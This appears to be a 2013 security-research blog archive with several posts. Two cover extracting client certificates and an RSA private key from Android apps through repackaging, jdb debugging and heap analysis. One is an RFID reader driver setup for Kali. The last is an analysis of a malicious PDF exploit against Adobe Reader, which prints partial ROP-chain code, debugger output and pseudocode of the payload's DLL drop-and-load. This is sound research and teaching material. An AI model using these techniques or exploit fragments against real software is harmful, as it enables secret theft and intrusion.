Tuesday, October 29, 2013

Debugging Out a Client Certificate from an Android process

By Gursev Singh Kalra.

On most of my Mobile Hacking projects I setup my web proxy to intercept Android application’s traffic, test the proxy configuration, and traffic interception usually works like a charm. However from time to time, things aren't so straightforward. On a recent project connections to the applications’ server returned HTTP 403 error code because SSL mutual authentication was enforced and I did not have the client certificate.

I was in a situation where no meaningful communication could be established with the remote server. The resource files obtained by decompiling the application did not contain containing the client certificate and it was clear that it was stored in the obfuscated code somewhere.

I had already extracted a RSAPrivateCrtKey and two certificates from the application’s memory as discussed in my previous blog post. As it turned out, those were not sufficient and I still needed the client certificate and the corresponding password to be able to connect to the server and test the server side code. This blog post will detail how they were retrieved by debugging the application.

Identifying the Code Using the Client Certificate

The knowledge of how Java clients use SSL certificates to support client authentication proved critical during this assessment and helped me identify the function calls to look for during the debugging process. The typical steps followed to load a client certificate for a HttpsURLConnection are summarized below:

  1. Create instances of following classes:
    1. HttpsURLConnection - to communicate with the remote server
    2. KeyStore - to hold client certificate
    3. KeyManagerFactory - to hold KeyStore
    4. SSLContext - to hold KeyManager/li>
  2. Create File instance for the client certificate and wrap it inside an InputStream
  3. Invoke KeyStore instance’s load method with InputStream from step 2 and certificate password as char[] so it contains the client certificate
  4. Feed the KeyManagerFactory instance with KeyStore from step 3 and certificate password by invoking its init method
  5. Obtain KeyManager[] array from the KeyManagerFactory created above
  6. Invoke SSLContext intance’s init method and feed it the KeyManager[] from step 5
  7. Obtain a SSLSocketFactory from the created SSLContext and setup the HttpsURLConnection instance to use it for all SSL communication.
The following image depicts the steps discussed:



Instantiating a KeyStore and loading an InputStream for a client certificate are central to SSL client authentication support. So I searched the decompiled code for KeyStore class usage, corresponding instance variables and identified classes and methods that were potentially configuring the client side SSL certificate for HttpsURLConnection.

Identifying the Debug Points

I continued to eliminate KeyStore usages till I identified the class and method I was interested in. The identified class and method did not refer to any resource files to get the client certificate and its password but relied on couple of function calls to get the byte[] representation for client certificate and String representation for the password before feeding them to the load method of the KeyStore instance. Following the code paths led me to the two magic strings that I was looking for. They appeared to be Base64 encoded values of client certificate and the corresponding password.

Base64 decoding them returned gibberish which could not be put to any practical use as there was more to the encoded values than plain Base64 encoding. Further analysis revealed that they were subjected to standard crypto algorithms, and those algorithms were fed their Initialization Vectors and Encryption Keys from other Java classes. Additionally, the application also used some custom data manipulation tricks to further obfuscate them.

With limited time at hand I decided to briefly shelve the code analysis and move to application debugging to inspect the exact code points of interest for data extraction. To help with the debugging process, I noted down the class name, method name, and instance variable of interest where the potential client certificate and password were fed to the KeyStore instance.

Setting up the Application for Debugging

Reviewing AndroidManifest.xml of the decompiled application indicated that the application was not compiled with the debug flag and hence could not be debugged on a device. So I added the debug flag, recompiled it, signed the application and then installed it on the device. The following steps summarize the process of creating debuggable versions of existing Android applications if you plan to debug the application on an actual device.

  1. Decompile the application with apktool
  2. Add android:debuggable="true" attribute to the application element in the AndroidManifest.xml
  3. Recompile the application with apktool
  4. Sign the application with SignApk
  5. Install the application
The image below shows the debuggable attribute added to the AndroidManifest.xml file of the target application.



If you are using an emulator, you can extract the application from the device, install it on the emulator and attach a debugger without decompiling or adding the debuggable attribute to the AndroidManifest.xml file.

Let us now look at some of the important pieces of the debugging setup that was used.

Java Debug Wire Protocol

The Java Debug Wire Protocol (JDWP) is a protocol used for communication between a JDWP compliant debugger and the Java Virtual machine. The Dalvik Virtual Machine that is responsible for running the applications on Android devices supports JDWP as it debugging protocol. Each application that runs on a Dalvik VM exposes a unique port to which JDWP compliant debuggers can attach and debug the application.

Once the application was installed on the device in debug mode, the next step was to attach a JDWP compliant debugger, such as jdb, and get going.

jdb - The Java Debugger

jdb is a JDWP compatible command-line debugger that ships with Java JDK and I use jdb for its command line goodness. The typical process of attaching jdb to an Android application is summarized below:

  1. Launch the application that you want to debug
  2. Obtain its process ID
  3. Use adb to port forward JDWP connection to the application JDWP port
  4. Attach jdb to the application
  5. Set breakpoints and debug the application
The following resources can get you started on jdb debugging with Android.

Debugging for the Client Certificate

At this point, I knew the exact locations where breakpoints were needed to obtain client certificate and corresponding password. I setup the breakpoints in the functions that invoked the load method of a KeyStore instance to store the client certificate. So I launched the application and then browsed to the functionalities that would invoke the code paths leading to the breakpoints.

After hitting the breakpoint, I executed jdb dump to query the instance variable and invoked its different methods to retrieve the important information. The instances variable of interest was of class g. The Java class under analysis retrieved client certificate and its password by the following calls before feeding them to the load method:

  1. It called a method b()on its instance variable “g” to obtain the certificate password and converted it to char[]
  2. It called a method a() on its instance variable “g” to obtain byte[] representation of client certificate and wrapped it in a ByteArrayInputStream
The following screenshot shows the rundown leading up to the client certificate and the password.



After obtaining the byte[] dump of the client certificate, I created the pfx file with following Java code and then imported it to my browser store and also inside the web proxy.

import java.io.FileOutputStream;
import java.io.IOException;

public class PfxCreatorFromByteArray {
 public static void main(String... args) throws IOException {
  // Contains the byte[]for client certificate 
  byte[] pfx = {48, -126, }; 
  FileOutputStream fos = new FileOutputStream("client-cert.pfx");
  fos.write(pfx);
  fos.close();
 }
}

 


The following image shows successful client certificate import.



The imported client certificate then allowed me to successfully engage and assess the server portion of the application. In addition to the client certificate, combining the static and dynamic analysis techniques also allowed me to retrieve other sensitive information like Initialization Vectors, Encryption Keys etc… from the application.

Tuesday, October 22, 2013

Extracting RSAPrivateCrtKey and Certificates from an Android Process

By Gursev Singh Kalra.

An Android application that I assessed recently had extensive cryptographic controls to protect client-server communication and to secure its local storage. To top that, its source code was completely obfuscated. Combined, these two factors made the application a great candidate for reversing. In this blog I will detail the portion of work where I dumped X.509 certificates and constructed a RSA private key (RSAPrivateCrtKey) from the Android application memory using Eclipse Memory Analyzer Tool (MAT) and Java code.

Analyzing Android Memory with Eclipse MAT

Eclipse MAT is primarily a Java heap analyzer that has extensive usage beyond its primary purpose of identifying memory leaks. It can be used to identify and dump sensitive information in Android application memory, perform some memory forensics etc… If you are new to Android memory analysis, I recommend that you get intimate with this tool for its obvious benefits. The following articles can help you get started.



Okay, now back to our target application.

Locating the crypto material

As part of reversing process I used dex2jar to decompile the application apk to java files and started analyzing them. While following application logic and reviewing its obfuscated code, I stumbled upon a java file (com.pack.age.name.h.b.java) that contained instance variables of type SSLSocketFactory and X509TrustManager. Clearly, this class was performing important cryptographic operations with respect to client-server communication.

So I pivoted to this class to identify the source of its crypto material and all attempts led me from one rabbit hole to another. I then decided to directly look at application heap with Eclipse MAT. I launched the application and performed some operations to ensure that the application loads the required crypto material and then performed the following steps to create the HPROF file contain application heap dump.

  1. Select the application from the list of running apps
  2. Select the “Show heap updates” option for the target application
  3. Select “Dump HPROF file” for analysis.
  4. Since I had MAT plugin installed, ADT converted the Android memory dump to HPROF format and presented it for analysis. In case you do not have MAT plugin, you will need to convert the generated dump to MAT readable format with hprof-conv utility that comes with ADT.


After opening the heap dump, I clicked on the “Dominator Tree” to view the object graph. Supplying the name of the class which had SSLSocketFactory and X509TrustManager instance variables in the Regex area filtered out most of the unwanted stuff. I then navigated the object tree to identify the X.509 certificates and the RSAPrivateCrtKey is shown below.



Dumping the certificates

The X.509 certificates were byte arrays of different lengths and extracting the certificates turned out to be quick. I right clicked on the byte array -> navigated to Copy -> Save Value to File -> selected location to save the file and clicked Finish. MAT indicates that the copy functionality allows you to write char[], String, StringBuffer and StringBuilder to a text file but it handsomely handled the byte[] in the current context. Please note the extension of the exported file was set to .der on the windows system. The following screenshots will show you the steps followed and one extracted certificate.

First select the “Save Value to File” functionality for the byte[]:



Next save the file as certificate-1.der :



And now you can see the extracted Root CA certificate from the Android application:



Extracting the RSAPrivateCrtKey

The second important component was the RSAPrivateCrtKey and extracting it was a little more involved as we will see below. To summarize, the below provided steps were followed to retrieve the RSAPrivateKeyCrtKey:

  1. Locate components that make up the RSAPrivatecrtKeySpec
  2. Copy all the components and store them in file system
  3. Compute positive BigInteger values from these components
  4. Construct RSAPrivatecrtKeySpec from its components
  5. Use the RSAPrivatecrtKeySpec object to construct RSAPrivatecrtKey
  6. Write the RSAPrivatecrtKey to the file system in PKCS8 format
  7. And optionally:
    1. Convert PKCS8 to PEM using OpenSSL
    2. Extract public key from the PEM file with OpenSSL


Let us now look at the involved details.

The third component from the first image above corresponds to an instance of RSAPrivatecrtKeySpec which was the starting point to construct the key. Selecting the com.android.org.bouncycastle.jcajce.provider.asymmetric.rsa.BCRSAPrivateCrtKey entry in the MAT’s Dominator Tree populated the Attributes tab with the information (type, instance name and object reference) pertaining to the several participating BigInteger instances that are required to build this RSAPrivateCrtKeySpec. The following are the participating BigInteger components that make up a RSAPrivateCrtKeySpec:

  1. modulus
  2. publicExponent
  3. privateExponent
  4. primeP
  5. primeQ
  6. primeExponentP
  7. primeExponentQ
  8. crtCoefficient


I used this information to segregate the BigInteger component values to different variables as their values were copied out to the file system (see figure below). For example, the crtCoefficient at @0x410b0080 in the Attributes tab (left) was mapped to an array of 32 integers (right). The modulus at @0x410afde0 was 64 int’s long which indicated that the key size was 2048 bits. Since MAT does not know how to export BigInteger objects, I used the actual int[] reference inside the corresponding BigInteger dropdown to copy out the binary content.

That is, I right clicked on the int[] dropdowns under the BigInteger while exporting their content. This process was repeated for all the BigInteger components to 8 local files and the files were named as per the Attribute names.

Here's the Attributes pane and corresponding BigInteger objects in the heap



and the corresponding int[] content dump.



The next step after extracting the BigInteger components was to check if I am able to use them to re-construct the RSAPrivateCrtKeySpec. So I decided to perform two basic tests before going forward.

  1. Read individual int values from the file where int[]was dumped and match them against values in the MAT
  2. Check that all BigInteger components are positive numbers


I wrote some Java code to help me test all the binary dumps against these two conditions. The results indicated that first condition was true for all BigInteger components, but the second condition was not met by 3 out of 8 BigInteger components that had negative values as shown below.

Here's the matching integers from the binary dump against MAT (Condition 1)



Here are the negative values (Condition 1):

I searched around to identify the reason for the negative values and the comments in the OpenJDK code indicated that the negative values can be result of incorrect ASN.1 encoding. So I included the corresponding code to calculate and return 2’s complement for negative BigInteger values before supplying the values to RSAPrivateCrtKeySpec constructor.

The final Java code that reads the binary BigInteger (int[]) components from file system and creates RSAPrivateCrtKey in PKCS8 format is provided below.

import java.io.DataInputStream;
import java.io.EOFException;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.math.BigInteger;
import java.nio.ByteBuffer;
import java.nio.IntBuffer;
import java.security.KeyFactory;
import java.security.KeyStoreException;
import java.security.NoSuchAlgorithmException;
import java.security.NoSuchProviderException;
import java.security.PrivateKey;
import java.security.Security;
import java.security.spec.InvalidKeySpecException;
import java.security.spec.PKCS8EncodedKeySpec;
import java.security.spec.RSAPrivateCrtKeySpec;
import java.util.ArrayList;

import org.bouncycastle.jce.provider.BouncyCastleProvider;

public class Generate Key {

 public static BigInteger bitIntFromByteArray(int[] byteArrayParam) {
     byte[] localByteArray = new byte[byteArrayParam.length * 4];
     ByteBuffer byteBuffer = ByteBuffer.wrap(localByteArray);
     IntBuffer intBuffer = byteBuffer.asIntBuffer();
     intBuffer.put(byteArrayParam);
     
     BigInteger bigInteger = new BigInteger(localByteArray);
     if(bigInteger.compareTo(BigInteger.ZERO) < 0)
      bigInteger = new BigInteger(1, bigInteger.toByteArray());
     return bigInteger;
 }
 
 public static BigInteger bigIntegerFromBinaryFile(String filename) throws IOException {
  ArrayList<Integer> intArrayList = new ArrayList<Integer>();
  DataInputStream inputStream = new DataInputStream(new FileInputStream(filename));
  try {
      while (true) 
          intArrayList.add(inputStream.readInt());
  } catch (EOFException ex) {
   
  } finally {
   inputStream.close();
  }
  
  int[] intArray = new int[intArrayList.size()];
  for(int i = 0; i < intArrayList.size(); i++) 
   intArray[i] = intArrayList.get(i);
  return bitIntFromByteArray(intArray);

 }
 
 public static void main(String[] args) throws KeyStoreException, NoSuchProviderException, NoSuchAlgorithmException, InvalidKeySpecException, FileNotFoundException, IOException, ClassNotFoundException {
  Security.addProvider(new BouncyCastleProvider());
  
  BigInteger crtCoefficient = bigIntegerFromBinaryFile("h:\\key-coeffs\\crtCoefficient");
  BigInteger modulus = bigIntegerFromBinaryFile("h:\\key-coeffs\\modulus");
  BigInteger primeExponentP = bigIntegerFromBinaryFile("h:\\key-coeffs\\primeExponentP");
  BigInteger primeExponentQ = bigIntegerFromBinaryFile("h:\\key-coeffs\\primeExponentQ");
  BigInteger primeP = bigIntegerFromBinaryFile("h:\\key-coeffs\\primeP");  
  BigInteger primeQ = bigIntegerFromBinaryFile("h:\\key-coeffs\\primeQ");
  BigInteger privateExponent = bigIntegerFromBinaryFile("h:\\key-coeffs\\privateExponent");
  BigInteger publicExponent = bigIntegerFromBinaryFile("h:\\key-coeffs\\publicExponent");
  
  System.out.println("crtCoefficient\t" + crtCoefficient);
  System.out.println("modulus\t" + modulus);
  System.out.println("primeExponentP\t" + primeExponentP);
  System.out.println("primeExponentQ\t" + primeExponentQ);
  System.out.println("primeP\t" + primeP);
  System.out.println("primeQ\t" + primeQ);
  System.out.println("privateExponent\t" + privateExponent);
  System.out.println("publicExponent\t" + publicExponent);

  
  RSAPrivateCrtKeySpec spec = new RSAPrivateCrtKeySpec(modulus, publicExponent, privateExponent, primeP, primeQ, primeExponentP, primeExponentQ, crtCoefficient);
  KeyFactory factory = KeyFactory.getInstance("RSA", "BC");
  PrivateKey privateKey = factory.generatePrivate(spec);
  System.out.println(privateKey);
  PKCS8EncodedKeySpec pkcs8EncodedKeySpec = new PKCS8EncodedKeySpec(privateKey.getEncoded());
  FileOutputStream fos = new FileOutputStream( "h:\\key-coeffs\\private-pkcs8.der");
  fos.write(pkcs8EncodedKeySpec.getEncoded());
  fos.close();
 } 
}

 


Converting PKCS8 to PEM

The next step of the process was to convert the private key from PKCS8 format to a PEM file and then to generate the public key from the private key with the following OpenSSL commands:

openssl pkcs8 –inform DER –nocrypt –in private-pkcs8.der –out privatePem.pem

openssl rsa –in privatePem.pem –pubout
  


Here is OpenSSL converting the PKCS8:



Finally we have the outputted RSA private key:



And we can use OpenSSL to extract the public key from the privatePem.pem file:



Conclusion

Memory analysis is a powerful technique that can be used to identify and extract sensitive information from application runtime. The extracted information can then be used to possibly defeat client side security controls.

Wednesday, October 16, 2013

Using the OmniKey CardMan 5321/5325 in Kali Linux

By Brad Antoniewicz.

In a previous post on my old blog I detailed how to set up the OmniKey CardMan 5321 in Backtrack. It's surprising how often this topic comes up. Everyone wants to do RFID hax but HID makes life confusing because they haven't released a generic driver that can be incorporated into PCSC. So I finally had a chance to get my CardMan 5321 running in Kali and wanted to share the process via this quick blog post.

Driver Download

You'll need HID's Linux drivers to make this work. This may seem like a simple task, but the driver is not really obvious on the HID website. The CardMan 5321 product overview page has a link to the drivers download page, but rather then bringing you directly to the CardMan's drivers, it brings you to the page for every driver for ever HID reader. The first one is for Linux, which I think is where people get caught up.

The file I downloaded was ifdokrfid_lnx_i686-2.10.0.1.tar.gz. Here's a screenshot of the download location (you have to do some scrolling to find it):



I didn't try the 64-bit version, so use with caution.

Driver Install

Once you have the drivers found, everything is just about the same as my previous post. Decompress and install the drivers as detailed in the README:

root@kali:~# tar -zxf ifdokrfid_lnx_i686-2.10.0.1.tar.gz
root@kali:~# cd ifdokrfid_lnx_i686-2.10.0.1/
root@kali:~/ifdokrfid_lnx_i686-2.10.0.1# ./install

Installing HID Global OMNIKEY RFID Smartcard reader driver ...

PCSC-Lite found: /usr/sbin/pcscd
Copying ifdokrfid_lnx_i686-2.10.0.1.bundle to /usr/lib/pcsc/drivers ...

Installation finished!




Configuration

With the drivers installed, you just have to make sure that PCSC is set up to let the new drivers take over rather then its defaults. That can be accomplished with the script I wrote in the previous post. I put the script up on github for ease of access:



Then just download an run it:
root@kali:~# wget https://raw.github.com/OpenSecurityResearch/cardman_install_fix/master/cardman_install_fix.sh
root@kali:~# chmod +x cardman_install_fix.sh
root@kali:~# ./cardman_install_fix.sh
pcscd: no process found
PCSC-Lite found: /usr/sbin/pcscd
Found drop dir: /usr/lib/pcsc/drivers
Backing up Info.plist
Line Numbers:
        ProductID:  330
        0x5321: 482
        VendorID: 105
        FriendlyName: 555
Offsets:
        General: 152
        VendorID: 257
        FriendlyName: 707
Deleting all the lines!
-i 482 d
-i




Previous Errors

In the previous post some people were getting this error when running the script:
/root/cardman_install_fix.sh: line 20: syntax error in conditional expression: unexpected token `&'
/root/cardman_install_fix.sh: line 20: syntax error near `&a'
/root/cardman_install_fix.sh: line 20: `if [[ -n $LINE_PRODID && -n $LINE_0x5321 && -n $LINE_VEND && -n $LINE_FRIEND ]]; then'



This is likely a copy and paste issue - you just need to change the & amp;& amp; to && on line 20. But that shouldn't happen anymore because its downloadable via GitHub.

Testing!

Now you should be able to get cardselect.py to recognize it once you start pcscd:

root@kali:~# pcscd
root@kali:~# cardselect.py -L
PCSC devices:
    No: 0               OMNIKEY CardMan 5x21 00 00
    No: 1               OMNIKEY CardMan 5x21 00 01



Enjoy!

Tuesday, October 15, 2013

Analysis of a Malware ROP Chain

By Brad Antoniewicz.

Back in February an Adobe Reader zero-day was found being actively exploited in the wild. You may have seen an analysis of the malware in a number of places. I recently came across a variant of this malware and figured it would be nice to provide a little more information on the ROP chain contained within the exploit.

Background

After Adobe was notified of the exploit their analysis yielded two vulnerabilities: CVE-2013-0640 and CVE-2013-0641. Initially the ambiguity of the vulnerability descriptions within the advisories made it hard to tell if both CVE-2013-0640 and CVE-2013-0641 were being exploited in the variant I came across - but from what I can put together, CVE-2013-0640 was used in the initial exploit for memory address disclosure and code execution. Then the exploit transfers control to another DLL that escapes the Adobe Reader sandbox by exploiting CVE-2013-0641.

Exploit Characteristics

Once I get past the malicious intent, I'm one of those people who can appreciate a nicely written exploit or piece of malware. This variant was particularly interesting to me because it exploited an pretty cool vulnerability and showed signs of sophistication. However, at the same time, there was tons of oddly structured code, duplication, and overall unreliability. It was almost like one person found the crash, one person wrote the ROP chain, and a final person hacked everything together and filled in the gaps. If this was my team, I'd fire that final person :)

In this section we'll cover the general characteristics of the exploit that serve as an important background but are not directly part of the ROP chain.

Javascript Stream

The exploit is written in Javascript embedded into a PDF stream. Extracting the Javascript is pretty straight forward:

 root@kali:~# pdfextract evil.pdf



Obfuscation



The Javascript was similar to how it was described in previous articles: It appeared to be at least partially obfuscated, but had some readable Italian/Spanish word references throughout. For example:

ROP_ADD_ESP_4 = 0x20c709bb;
.
.
.
pOSSEDER[sEGUENDO - 1] += "amor";
pOSSEDER[sEGUENDO - 5] += "fe";
pOSSEDER[sEGUENDO - 10] += "esperanza";




Most everything in this article is the result of my manual deobfuscation of the JavaScript (lots of find and replace).

A similar Javascript exploit was found posted on a Chinese security forum. I can't say how or if the two are connected, its possible the Chinese site just put friendly names to the obfuscated functions. It just struct me odd that the post named functions and variables so precisely with little structural change from the obfuscated version.

Version Support

The exploit first checks the result of app['viewerVersion'] to determine the Reader version. The following versions appear to be supported within the exploit:
  • 10.0.1.434
  • 10.1.0.534
  • 10.1.2.45
  • 10.1.3.23
  • 10.1.4.38
  • 10.1.4.38ARA
  • 10.1.5.33
  • 11.0.0.379
  • 11.0.1.36
  • 9.5.0.270
  • 9.5.2.0
  • 9.5.3.305
The author developed entire ROP chains for each version, this surely took some time to do. I looked at 10.1.2.45, which is the focus of this article.

ASLR



The address leak vulnerability in AcroForm.api facilitated an ASLR bypass by providing the module load address of AcroForm.api. The exploit writers had to first trigger the vulnerability, get the module load address, then adjust the offsets in the ROP chain at runtime before loading it into memory.

Stack Pivot

Once the code execution vulnerability is triggered, the exploit directs Reader to a stack pivot ROP gadget that transfers control from the program stack to the ROP chain that is already loaded into memory on the heap. Oddly the stack pivot address is defined within a variable inside the JavaScript ROP chain build function, rather than being part of the returned ROP Chain string. Instead of simply defining the stack pivot address as an offset, the exploit writer defined it as an absolute address using the default IDA load address.

Later on in the exploit the writer actually subtracts the default load address from this gadget address to get the offset then adds the leaked address. This is a totally different programmatic way from the approach used in this function to calculate a gadget's address which may indicate this exploit was developed by more than one author or maybe a IDA plugin was used to find the stack pivot. Here's the important parts of the JavaScript associated with the stack pivot to illustrate this conclusion:

 function getROP(AcrobatVersion,moduleLoadAddr){
  .
  .
  .
  else if(AcrobatVersion == '10.1.2.45'){
   var r="";
   r+=getUnescape(moduleLoadAddr+0x17);
   r+=getUnescape(moduleLoadAddr+0x17);
   .
   .
   .
   }
  STACK_PIVOT = 0x2089209e ;
  return r;
  }
 var ropString = getROP(AdobeVersionStr['AcrobatVersion'], moduleLoadAddr);
 var idaLoadAddr= (0x20801000);

 stackPivotOffset = getUnescape(STACK_PIVOT - idaLoadAddr + moduleLoadAddr);



As you can see, there are two methods here, the simple "getUnescape(moduleLoadAddr+0x17);" and the more complex "getUnescape(STACK_PIVOT - idaLoadAddr + moduleLoadAddr);".

Rather than digging through the exploit code, an easy way to identify the stack pivot within WinDBG is to set a breakpoint on one of the first ROP gadgets in the Javascript ROP chain build function: moduleOffset+0x41bc90 -

 0:000> lmf m AcroForm
start    end        module name
63a80000 64698000   AcroForm C:\Program Files\Adobe\Reader 10.0\Reader\plug_ins\AcroForm.api
0:000> uf 63a80000 + 1000 + 0x41bc90
AcroForm!DllUnregisterServer+0x39dc1a:
63e9cc90 54              push    esp
63e9cc91 5e              pop     esi
63e9cc92 c3              ret
0:000> bp 63a80000 + 1000 + 0x41bc90
0:000> g



When the breakpoint is reached, we can look at where the stack pointer is pointing. Since it's pointing at memory on the heap (and not the stack) we know the stack pivot executed.
 Breakpoint 5 hit
eax=0000f904 ebx=00000001 ecx=63b1209e edx=00000000 esi=165acd6c edi=05c49f18
eip=63e9cc90 esp=118455ac ebp=001ede18 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
AcroForm!DllUnregisterServer+0x39dc1a:
63e9cc90 54              push    esp




At this breakpoint we also know the heap block where the ROP chain was loaded (ESP is pointing to it). We can use !heap to find the start of the heap block and inspect it. At offset 0x4 is the stack pivot:

 0:000> !heap -p -a esp
    address 118455ac found in
    _HEAP @ 1ab0000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        1183f8f8 1927 0000  [00]   1183f900    0c930 - (busy)
  
0:000> dd 1183f900    
1183f900  00380038 63b1209e 63a81017 63a81017
1183f910  63a81017 63a81017 63a81017 63a81017
1183f920  63a81017 63a81017 63a81017 63a81017
1183f930  63a81017 63a81017 63a81017 63a81017
1183f940  63a81017 63a81017 63a81017 63a81017
1183f950  63a81017 63a81017 63a81017 63a81017
1183f960  63a81017 63a81017 63a81017 63a81017
1183f970  63a81017 63a81017 63a81017 63a81017

0:000> uf 63b1209e
AcroForm!DllUnregisterServer+0x13028:
63b1209e 50              push    eax
63b1209f 5c              pop     esp
63b120a0 59              pop     ecx
63b120a1 0fb7c0          movzx   eax,ax
63b120a4 c3              ret



JavaScript DLLs

At the end of every version-dependent ROP chain is:
 0x6f004d
 0x750064
 0x65006c
  


Which is the hexadecimal equivalent of the unicode string "Module". Appended to that is a larger block of data. Later on we'll determine that the ROP chain searches the process memory for this specific delimiter("Module") to identify the block which is the start of a base64 encoded DLL that gets loaded as the payload.

ROP Pseudocode

Before we dig into the assembly of the ROP chain, let's look at it from a high level. It uses the Windows API to retrieve a compressed base64 encoded DLL from memory. It decodes it, decompresses it, and loads it. If we were to translate its assembly to a higher level pseudo code, it would look something like this:
 hModule = LoadLibraryA("MSVCR90.DLL");
__wcsstr = GetProcAddress(hModule, "wcsstr"); 
base64blob = __wcsstr(PtrBlob, "Module"); 

hModule = LoadLibraryA("Crypt32.dll");
__CryptStringToBinaryA = GetProcAddress(hModule, "CryptStringToBinaryA");
__CryptStringToBinaryA(base64blob, 0, CRYPT_STRING_BASE64, decodedBlob, pcbBinary, pdwSkip, pdwFlags );

hModule = LoadLibraryA("NTDLL.dll");
__RtlDecompressBuffer = GetProcAddress(hModule, "RtlDecompressBuffer");
__RtlDecompressBuffer(COMPRESSION_FORMAT_LZNT1, decompressedBlob, UncompressedBufferSize, decodedBlob, CompressedBufferSize, FinalUncompressedSize); 

hModule = LoadLibraryA("MSVCR90.DLL");
__fwrite = GetProcAddress(hModule, "fwrite"); 

hModule = LoadLibraryA("Kernel32.dll");
__GetTempPathA = GetProcAddress(hModule, "GetTempPathA"); 

tmpPath = "C:\Users\user\AppData\Local\Temp\";
__GetTempPathA(nBufferLength , tmpPath); 

tmpPath += "D.T";

hFile = fopen(tmpPath, "wb");
fwrite(decompressedBlob, size, count, hFile); 
fclose(hFile); 

LoadLibraryA("C:\Users\user\AppData\Local\Temp\D.T");
Sleep(0x1010101);



Setup

The first thing the ROP Chain does is note where it is in memory. We'll see later on that it does this so it can dynamically modify the arguments passed to the functions it calls rather using static values.

 r+=ue(t+0x41bc90) ; // push esp/pop esi/ret



The r variable is returned to the caller as the ROP chain, the ue() returns an unescape()'ed string from the parameters it was passed and the t variable is the AcroForm.api module load address.

The pseudocode above shows that a number of calls, particularly the ones to LoadLibraryA() and GetProcAddress(), require strings as arguments. The ROP Chain accomplishes this by directly copying the strings into the .data segment of AcroForm.api.



A snip of JavaScript code responsible for this is below:

 r+=ue(t+0x51f5fd); pop eax/ret
r+=getUnescape(moduleLoadAddr+0x818001); // data_segment + 0x1
r+=getUnescape(moduleLoadAddr+0x5efb29); // pop ecx/ret
r+=getUnescape(0x54746547); // string
r+=getUnescape(moduleLoadAddr+0x46d6ca); // mov [eax], ecx/ret

r+=getUnescape(moduleLoadAddr+0x51f5fd); // pop eax/ret
r+=getUnescape(moduleLoadAddr+0x818005); // data_segment + 0x5
r+=getUnescape(moduleLoadAddr+0x5efb29); // pop ecx/ret
r+=getUnescape(0x50706d65); // string + 0x4
r+=getUnescape(moduleLoadAddr+0x46d6ca); // mov [eax], ecx/ret



These groups of instructions are repeated for each DWORD for the length of the string, incrementing the data_segment and string offsets respectively. The entire string that is copied to the .data segment is:

 0:008> db 63470000 + 1000 + 0x818001 L4e
63c89001  47 65 74 54 65 6d 70 50-61 74 68 41 00 66 77 72  GetTempPathA.fwr
63c89011  69 74 65 00 77 62 00 43-72 79 70 74 53 74 72 69  ite.wb.CryptStri
63c89021  6e 67 54 6f 42 69 6e 61-72 79 41 00 6e 74 64 6c  ngToBinaryA.ntdl
63c89031  6c 00 52 74 6c 44 65 63-6f 6d 70 72 65 73 73 42  l.RtlDecompressB
63c89041  75 66 66 65 72 00 77 63-73 73 74 72 00 41        uffer.wcsstr.A




As you can see, the strings for each of the function arguments are present.

Function Calls

The rest of the ROPChain is mostly the same couple of steps repeated:

  1. Prepare arguments for function calls
  2. Call LoadLibraryA()
  3. Call GetProcAddress()
  4. Call function
It performs these steps for the calls to wcsstr(), CryptStringToBinaryA(), RtlDecompressBuffer(), fwrite(), GetTempPathA(), and fclose(). Lets see what one of these calls look like:

Call to wcsstr()

The ultimate goal of the following series of instructions is to set up the stack to make a call to wcsstr(). MSDN shows that the call should look like this:

 wchar_t *wcsstr(
   const wchar_t *str,
   const wchar_t *strSearch 
);



For the *strSearch parameter the author placed a pointer in the JavaScript ROP Chain to the .rdata segment of AcroForm.api which contains the unicode string "Module". Then to determine the *str parameter, the author used the saved stack pointer gathered in the first few instructions of the ROP Chain to calculate the memory address of *strSearch on the stack and place it at the precise offset on the stack where wcsstr() will look for it once called. Really any pointer to a memory address within the ROP Chain could have been used as the *str parameter, since it's at the end of the ROP Chain where the unicode string "Module" was added by the author to indicate the start of the payload. Come to think of it, the author could have probably just calculated the offset to the end of the ROP Chain and skipped the entire wcsstr() call.

Let's see the JavaScript and assembly, This first set of gadgets simply determines the memory address on the stack of the "Module" unicode string in the .rdata segment of AcroForm.api. Remember, esi was used at the start of the ROP chain to store the stack pointer after the pivot.

r+=getUnescape(moduleLoadAddr+0x5ec230); // pop edi/ret
r+=getUnescape(0xcccc0240);
r+=getUnescape(moduleLoadAddr+0x4225cc); // movsx   edi,di/ret
r+=getUnescape(moduleLoadAddr+0x17); // ret
r+=getUnescape(moduleLoadAddr+0x13ca8b); // add     edi,esi/ret 
r+=getUnescape(moduleLoadAddr+0x538c1d); // xchg    eax,edi/ret
r+=getUnescape(moduleLoadAddr+0x508c23); // xchg    eax,ecx/ret



One note is the use of 0xcccc0240 as the offset. It turns to 0x00000240 after the movsx edi, di. My guess is that the author was trying to avoid nulls within the chain, but if you look at the other areas of the payload, there are tons of nulls used. This implies that the use of nulls is not needed, making it extra, unneeded work by the author. It makes me wonder if it indicates an automatically generated ROP chain or possibly a borrowed chain from another exploit.

At the end of this set of instructions, the memory address on the stack of the pointer to the .rdata "Module resides in ecx.

The next set of instructions determine the offset on the stack where the *str parameter would be. The JavaScript ROP Chain contains 0x41414141 at that offset but the last two sets of instructions overwrite that value with the memory address on the stack of the pointer to the .rdata "Module".

r+=getUnescape(moduleLoadAddr+0x5ec230); // pop edi/ret
r+=getUnescape(0xcccc023c);
r+=getUnescape(moduleLoadAddr+0x4225cc); // movsx   edi,di/ret
r+=getUnescape(moduleLoadAddr+0x17); // ret
r+=getUnescape(moduleLoadAddr+0x13ca8b); // add     edi,esi/ret
r+=getUnescape(moduleLoadAddr+0x25e883); // push edi/pop eax/ret
r+=getUnescape(moduleLoadAddr+0x46d6ca); // mov [eax], ecx/ret



At this point, the stack is populated with the appropriate parameters at the appropriate places so that the call to wcsstr() can search the memory region where the ROP Chain is for the unicode string of "Module" - which indicates the start of the payload.

However, calling wcsstr() isn't that simple. In the next set of instructions, the author calls LoadLibraryA() to load MSVCR90.dll which is the first step in preparing the module to call the function. The LoadLibrary() function is pretty straight forward to call:

HMODULE WINAPI LoadLibrary(
  _In_  LPCTSTR lpFileName
);



With that as a reference, lets look at the ROP Chain:

r+=getUnescape(moduleLoadAddr+0x51f5fd); // pop eax/ret
